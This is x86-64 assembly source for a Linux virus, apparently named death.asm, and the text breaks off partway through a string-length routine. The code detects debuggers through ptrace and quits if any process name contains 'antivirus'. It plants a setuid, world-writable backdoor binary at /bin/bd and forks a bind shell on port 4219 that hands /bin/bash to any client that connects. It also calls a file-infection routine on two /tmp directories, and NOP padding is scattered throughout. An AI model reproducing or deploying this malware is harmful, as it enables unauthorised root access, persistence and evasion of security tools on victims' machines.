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death.asm
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death.asm
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; _____________________
;| O____O ***|
;| (° u °) ** |
;| /--------\ / |
;| o--|531-m31c|--/ |
;| \--------/ |
;| N N |
;|____________________|
global _start
_start:
NOP
NOP
NOP
NOP
NOP
NOP
call create_soft_bd
; push rax
; xor rax, rax
; db 0x74
; db 0x01
; db 0x0f
; pop rax
;Let's make sure a debugger is not trying to analyze the virus
mov rax, 57; fork
syscall;rax = fork()
cmp rax, 0
jne wait_ad
call anti_debug
wait_ad:
sub rsp, 4; STATUS SAVED HERE
mov rdi, rax
mov rsi, 0
lea rsi, [rsp];store status in stack
mov rdx, 0
mov r10, 0
mov rax, 61
syscall; wait(pid/rax, &status, 0, 0, 0);
mov rax, 0
mov eax, DWORD[rsp]
cmp rax, 0
jne exit_prog
add rsp, 4
;We wanna check that no program containning "antivirus" in it's name is running"
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 0x00636f72702f; /proc
push rax
lea rdi, [rsp]
NOP
NOP
NOP
NOP
NOP
NOP
call check_process
pop rcx
NOP
NOP
NOP
NOP
NOP
NOP
;create network backdoor
; push rax
; xor rax, rax
; db 0x74
; db 0x01
; db 0x0f
; pop rax
call create_network_backdoor
NOP
NOP
NOP
NOP
NOP
NOP
;chdir to /tmp/test
mov rax, 80
xor rdi, rdi
mov rdi, 0x0074; "t\0"
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
mov rdi, 0x7365742f706d742f; "/tmp/tes"
push rdi
lea rdi, [rsp]
syscall; chdir("/tmp/test");
add rsp, 16
cmp rax, -1
jle exit_prog
NOP
NOP
NOP
NOP
NOP
NOP
;infect current directory
push 0x0000002e; our target directory here "."
lea rdi, [rsp]
NOP
NOP
NOP
NOP
NOP
NOP
; push rax
; xor rax, rax
; db 0x74
; db 0x01
; db 0x0f
; pop rax
call list_files
add rsp, 8
NOP
NOP
NOP
NOP
NOP
NOP
;chdir to /tmp/test2
mov rax, 80
xor rdi, rdi
mov rdi, 0x003274; "t2\0"
push rdi
mov rdi, 0x7365742f706d742f;"/tmp/tes"
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
lea rdi, [rsp]
syscall; chdir("/tmp/test2");
add rsp, 16
cmp rax, -1
jle exit_prog
NOP
NOP
NOP
NOP
NOP
NOP
;infect current directory
push 0x0000002e; our target directory here "."
lea rdi, [rsp]
; push rax
; xor rax, rax
; db 0x74
; db 0x01
; db 0x0f
; pop rax
call list_files
add rsp, 8
;jmp end_of_everything
exit_prog:
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 0x3c;
mov rdi, 0
syscall
;int wexitstatus(int)
wexitstatus:
shr rdi, 8
and rdi, 0x000000ff
mov rax, rdi
retn
;void anti_debug()
anti_debug:
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 110
syscall; getppid() get the pid of parent to trace it
mov r15, rax
mov rdi, 0x10;PTRACE_ATTACH
mov rsi, r15
mov rdx, 0
xor r10, r10
mov rax, 101;ptrace
syscall; ptrace(PTRACE_ATTACH, getppid(), 0, 0);
cmp rax, 0
jl debugger
mov rdi, r15
mov rsi, 0
mov rsi, 0
mov rdx, 0
xor r10, r10
mov rax, 61
syscall; wait(pid, 0, 0, 0, 0);
mov rdi, 0x11;PTRACE_DETACH
mov rsi, r15
mov rdx, 0
xor r10, r10
mov rax, 101;ptrace
syscall; ptrace(PTRACE_ATTACH, getppid(), 0, 0);
jmp exit_prog;
NOP
NOP
NOP
NOP
NOP
NOP
debugger:
;if we get here a debugger was used
mov rax, 0x000a2e2e47
push rax
mov rax, 0x4e49474755424544
push rax
lea rdi, [rsp]
call ft_puts
add rsp, 16
mov rax, 0x3c;
mov rdi, 1
syscall; exit(1)
NOP
NOP
NOP
NOP
NOP
NOP
retn
;void create_soft_bd()
;this will create a software backdoor
create_soft_bd:
NOP
NOP
NOP
NOP
NOP
NOP
sub rsp, 1; buffer to read shellcode in
NOP
NOP
NOP
NOP
NOP
NOP
;open destination file
mov rdi, 0x0064622f6e69622f; "/bin/bd"
push rdi
lea rdi, [rsp]
mov rsi, 577; O_CREAT | O_WRONLY | O_TRUNC
mov rdx, 2559; S_ISUID | 0777
mov rax, 2
syscall; open("/bin/bd", O_CREAT | O_WRONLY | O_TRUNC, S_ISUID | 0777);
mov r15, rax
pop rbx
NOP
NOP
NOP
NOP
NOP
NOP
;OPEN bd read FILE
mov rax, 2
mov rdi, 0x0064622f706d742f ; "/tmp/bd"
push rdi
lea rdi, [rsp]
xor rsi, rsi
mov rdx, 0
syscall; open("/tmp/bd", O_RDONLY);
mov r14, rax
pop rbx
;READ bd FILE
csb_read_loop:
NOP
NOP
NOP
NOP
NOP
NOP
mov rdi, r14
mov rax, 0
lea rsi, [rsp]
mov rdx, 1
syscall; read(bd_fd, buffer, 1);
cmp rax, 0
jle csb_exit_loop; done reading
mov rdi, r15
mov rax, 1
mov rsi, rsp
mov rdx, 1
syscall;write(wfd, buffer, 1)
jmp csb_read_loop
csb_exit_loop:
mov rax, 3
mov rdi, r15
syscall; close(dest_fd)
mov rdi, r14
mov rax, 3
syscall; close(bd_fd)
add rsp, 1
NOP
NOP
NOP
NOP
NOP
NOP
retn
;puts
ft_puts:
push rbx
push rcx
push r8
push r9
push r10
push rax
push rsi
push rdx
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
call ft_strlen
mov rdx, rax
mov rax, 1
mov rsi, rdi
mov rdi, 1
syscall
pop rdi
pop rdx
pop rsi
pop rax
pop r10
pop r9
pop r8
pop rcx
pop rbx
NOP
NOP
NOP
NOP
NOP
NOP
retn
;this will simply print a newline
debug:
push rbx
push rcx
push r8
push r9
push r10
push rax
push rsi
push rdx
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 1
push 0x0000000a
lea rsi, [rsp]
mov rdx, 2
mov rdi, 1
syscall
add rsp, 8
pop rdi
pop rdx
pop rsi
pop rax
pop r10
pop r9
pop r8
pop rcx
pop rbx
retn
debugy:
push rbx
push rcx
push r8
push r9
push r10
push rax
push rsi
push rdx
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 1
push 0x00000a79
lea rsi, [rsp]
mov rdx, 2
mov rdi, 1
syscall
add rsp, 8
pop rdi
pop rdx
pop rsi
pop rax
pop r10
pop r9
pop r8
pop rcx
pop rbx
retn
debugn:
push rbx
push rcx
push r8
push r9
push r10
push rax
push rsi
push rdx
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 1
push 0x00000a6e
lea rsi, [rsp]
mov rdx, 2
mov rdi, 1
syscall
add rsp, 8
pop rdi
pop rdx
pop rsi
pop rax
pop r10
pop r9
pop r8
pop rcx
pop rbx
NOP
NOP
NOP
NOP
NOP
NOP
retn
%define REGULAR_FILE 8
%define DIRECTORY_FILE 4
check_process:
NOP
NOP
NOP
NOP
NOP
NOP
sub rsp, 1024;this is gonna be our buffer
sub rsp, 4; fd
NOP
NOP
NOP
NOP
NOP
NOP
mov rsi, 65536; O_RDONLY | O_DIRECTORY
mov rdx, 0
mov rax, 2; sycall open
syscall
NOP
NOP
NOP
NOP
NOP
NOP
cmp rax, -1
jle exit_prog ;open error
mov [rsp], rax
cp_dir_read_loop:
NOP
NOP
NOP
NOP
NOP
NOP
mov rdi, [rsp];fd of dir
lea rsi, [rsp + 4]; addr of buffer
mov rdx, 1024;reading max 1024 bytes
mov rax, 217;getdents64 syscall
syscall
cmp rax, -1
je exit_prog;getdents64 err
cmp rax, 0
je cp_dir_read_exit; done reading dir
mov r10, rax; store number bytes read
mov rcx, 0; will serve as index to parse files
cp_parse_file_loop:
mov r8, rsi; save rsi
lea r9, [rsi + rcx] ; current linux_dirent64*
lea rsi, [r9 + 19];filename
cmp byte[r9 + 18], DIRECTORY_FILE; [r9 +18] is file type
jne cp_skip_file
mov rdi, rsi; pass fname as arg
call check_num_name; we only want things like /proc/19, /proc/4219, ...
cmp rax, 0
jne cp_skip_file
NOP
NOP
NOP
NOP
NOP
NOP
call check_cmdline; gonna go check the cmdline file of that prog and exit if it contains the word "antivirus"
;do stuff here
cp_skip_file:
mov rsi, r8
mov rdx, 0
mov dx, WORD[r9 + 16] ;len of current linux_dirent64*
add rcx, rdx
cmp rcx, r10
jae cp_parse_file_exit
jmp cp_parse_file_loop
cp_parse_file_exit:
jmp cp_dir_read_loop
cp_dir_read_exit:
add rsp, 4
add rsp,1024
NOP
NOP
NOP
NOP
NOP
NOP
retn
;int check_num_name(char *) check if string only contains digits
; returns 1 if name does contain something else than digits or 0 if there's only digits
check_num_name:
NOP
NOP
NOP
NOP
NOP
NOP
push rcx
NOP
NOP
NOP
NOP
NOP
NOP
mov rcx, 0
mov rax, 0
loop_cnn:
cmp byte[rdi + rcx], 0
je loop_cnn_exit
cmp byte[rdi + rcx], 0x30 ; '0'
jb loop_cnn_bad_exit
cmp byte[rdi + rcx], 0x39; '9'
ja loop_cnn_bad_exit
inc rcx
jmp loop_cnn
NOP
NOP
NOP
NOP
NOP
NOP
loop_cnn_bad_exit:
mov rax, 1
loop_cnn_exit:
NOP
NOP
NOP
NOP
NOP
NOP
pop rcx
NOP
NOP
NOP
NOP
NOP
NOP
retn
; void check_cmdline(char *fname)
check_cmdline:
NOP
NOP
NOP
NOP
NOP
NOP
push rsi
push rcx
push rbx
push rdx
sub rsp, 64; buffer to contain full path such as /proc/19/cmdline
;First we copy /proc
mov byte[rsp], '/'
mov byte[rsp + 1], 'p'
mov byte[rsp + 2], 'r'
mov byte[rsp + 3], 'o'
mov byte[rsp + 4], 'c'
mov byte[rsp + 5], '/'
NOP
NOP
NOP
NOP
NOP
NOP
;now we copy fname
mov rcx, 6
mov rbx, 0
loop_ccl:
mov dl, byte[rdi + rbx]
cmp dl, 0
je loop_ccl_exit
mov byte[rsp + rcx], dl
inc rbx
inc rcx
jmp loop_ccl
loop_ccl_exit:
; now we copy /cmdline
NOP
NOP
NOP
NOP
NOP
NOP
mov byte[rsp + rcx], '/'
inc rcx
mov byte[rsp + rcx], 'c'
inc rcx
mov byte[rsp + rcx], 'm'
inc rcx
mov byte[rsp + rcx], 'd'
inc rcx
mov byte[rsp + rcx], 'l'
inc rcx
NOP
NOP
NOP
NOP
NOP
NOP
mov byte[rsp + rcx], 'i'
inc rcx
mov byte[rsp + rcx], 'n'
inc rcx
mov byte[rsp + rcx], 'e'
inc rcx
;Add the final \0
mov byte[rsp + rcx], 0
; Ok now we have our full path ready to be read
lea rdi, [rsp]
NOP
NOP
NOP
NOP
NOP
NOP
call check_cmdline_content; will actually read the file
cmp rax, 0
jne exit_prog ;antivirus is running
add rsp, 64
pop rdx
pop rbx
pop rcx
pop rsi
retn
; int check_cmdline_content(char *path)
check_cmdline_content:
NOP
NOP
NOP
NOP
NOP
NOP
push rbx
push rcx
push r8
push r9
push r10
push rsi
push rdx
push rdi
NOP
NOP
NOP
NOP
NOP
NOP
call open_file
mov rdi, rax; store fd in rdi
sub rsp, 1
mov rcx, 0
mov rcx, 0x0073 ; "s\0"
push rcx
mov rcx, 0x7572697669746e61 ; "antiviru"
push rcx
mov rcx, 0
NOP
NOP
NOP
NOP
NOP
NOP
loop_ccc:
lea rsi, [rsp + 16]
mov rdx, 1; read one byte at the time
mov rax, 0
push rcx ; save rcx coz fcking syscall will modify it
syscall; read(rdi, rsi, rdx);
pop rcx
cmp rax, 0
je end_of_ccc
mov dl, [rsp + rcx]
cmp byte[rsp + 16], dl
jne reset_rcx_ccc
inc rcx
cmp rcx, 9 ;antivirus 8 bytes long
je ccc_found
jmp loop_ccc
reset_rcx_ccc:
mov rcx, 0
jmp loop_ccc
ccc_not_found:
mov rax, 0
jmp end_of_ccc
ccc_found :
mov rax, 1
end_of_ccc:
add rsp, 17
push rax;save return val
mov rax, 3
syscall
pop rax;restore return val
NOP
NOP
NOP
NOP
NOP
NOP
pop rdi
pop rdx
pop rsi
pop r10
pop r9
pop r8
pop rcx
pop rbx
retn
; void create_network_backdoor()
create_network_backdoor:
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 57; fork
syscall;rax = fork()
NOP
NOP
NOP
NOP
NOP
NOP
cmp rax, 0
jne continue_your_life
call pop_shell_on_net; child process
jmp exit_prog; kill child
continue_your_life:; parent or if fork failed
NOP
NOP
NOP
NOP
NOP
NOP
retn
;void pop_shell_on_net
pop_shell_on_net:
NOP
NOP
NOP
NOP
NOP
NOP
sub rsp, 16; struct sockaddr_in servaddr
sub rsp, 16; struct sockaddr_in cli
sub rsp, 12; int sockfd, connfd, len (4*3)
NOP
NOP
NOP
NOP
NOP
NOP
;create socket
mov rax, 41
mov rdi, 2;AF_INET
mov rsi, 1;SOCK_STREAM
mov rdx, 0
syscall; rax = socket(AF_INET, SOCK_STREAM, 0);
cmp rax, -1
je exit_prog; err
mov DWORD[rsp], eax; sockfd = rax
NOP
NOP
NOP
NOP
NOP
NOP
; prepare servaddr for bind
mov WORD[rsp + 28], 2;servaddr.sin_family = AF_INET
mov WORD[rsp + 30], 31504; servaddr.sin_port = htons(4219) == 31504
mov DWORD[rsp + 32], 16777343; servaddr.sin_addr.s_addr = inet_addr("127.0.0.1") == 16777343
NOP
NOP
NOP
NOP
NOP
NOP
;bind
mov rax, 49
xor rdi, rdi
mov edi, DWORD[rsp]
lea rsi, [rsp + 28]
mov rdx, 16
syscall; bind(sockfd, (struct sockaddr*)&servaddr, sizeof(servaddr))
cmp rax, 0
jne exit_prog; err
NOP
NOP
NOP
NOP
NOP
NOP
;listen
mov rax, 50
mov rsi, 2
syscall; listen(sockfd, 2)
cmp rax, 0
jne exit_prog; err
;accept
mov DWORD[rsp + 8], 16; len = sizeof(struct sockaddr_in)
mov rax, 43
lea rsi, [rsp + 12]
lea rdx, [rsp + 8]
syscall; rax = accept(sockfd, (struct sockaddr*)&cli, &len)
cmp rax, -1
je exit_prog; err
mov DWORD[rsp + 4], eax
; at this point our server is running and has accepted a client
xor rdi, rdi
mov edi, DWORD[rsp + 4]; pass connfd as param
NOP
NOP
NOP
NOP
NOP
NOP
call exec_shell
add rsp, 12
add rsp, 32
NOP
NOP
NOP
NOP
NOP
NOP
retn
; exec_shell(int connfd)
exec_shell:
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 0
mov rax, 0x0068; "h\0"
push rax
mov rax, 0x7361622f6e69622f; "/bin/bas"
push rax
sub rsp, 16; argvs "/bin/bash", NULL
lea rbx, [rsp+16]
mov QWORD[rsp], rbx; *argvs == "/bin/bash"
mov rbx, 0
mov QWORD[rsp + 8], rbx; argvs[1] = NULL
sub rsp, 8
NOP
NOP
NOP
NOP
NOP
NOP
mov QWORD[rsp], rbx; envp = {NULL}
push rdi
mov rax, 3
mov rdi, 0
syscall;close(0)
mov rax, 3
mov rdi, 1
syscall;close(1)
mov rax, 3
mov rdi, 2
syscall;close(2)
pop rdi
NOP
NOP
NOP
NOP
NOP
NOP
;redirect fds
mov rax, 33
mov rsi, 0
syscall;dup2(connfd, 0);
mov rax, 33
NOP
NOP
NOP
NOP
NOP
NOP
mov rsi, 1
syscall;dup2(connfd, 1);
mov rax, 33
mov rsi, 2
syscall;dup2(connfd, 2);
; time to execve
mov rax, 59
lea rdi, [rsp + 24]; "/bin/bash"
lea rsi, [rsp + 8]
lea rdx, [rsp]
syscall; execve("/bin/bash", argv, envp);
jmp exit_prog
NOP
NOP
NOP
NOP
NOP
NOP
add rsp, 8
add rsp, 16
NOP
NOP
NOP
NOP
NOP
NOP
add rsp, 16
retn
ft_strlen:
NOP
NOP
NOP
NOP
NOP
NOP
mov rax, 0
loop: